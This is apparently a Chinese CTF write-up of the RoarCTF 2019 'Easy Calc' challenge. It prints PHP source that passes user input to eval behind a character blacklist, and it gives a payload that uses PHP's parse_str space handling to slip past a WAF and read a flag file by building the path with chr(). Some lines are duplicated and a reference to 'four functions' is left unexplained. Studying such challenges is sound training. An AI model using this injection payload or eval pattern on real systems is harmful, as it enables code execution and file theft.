buuoj [RoarCTF 2019]Easy Calc(利用PHP的字符串解析特性)


web

[RoarCTF 2019]Easy Calc(利用PHP的字符串解析特性)

先上源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
   show_source(__FILE__);
}else{
       $str = $_GET['num'];
       $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
       foreach ($blacklist as $blackitem) {
               if (preg_match('/' . $blackitem . '/m', $str)) {
                       die("what are you want to do?");
              }
      }
       eval('echo '.$str.';');
}
?>

 

首先先引入新的知识点,php的字符串解析特性

https://www.php.net/manual/zh/function.parse-str.php

 

 

parse_str函数用于解析字符串

同时先了解下关于php传入外部变量的相关细节

parse_str函数用于解析字符串

同时先了解下关于php传入外部变量的相关细节

 

变量名中的空格和点会被替换成下划线


 

目标是根据以上四个函数构造payload返回想要的结果并打印。

此题直接构造num=phpinfo(),失败说明存在另一道waf,然后构造%20num=phpinfo()绕过防火墙

 

而php会自动过滤空格然后就可以执行表达式。

payload=%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

没有var_dump也可以

即可

web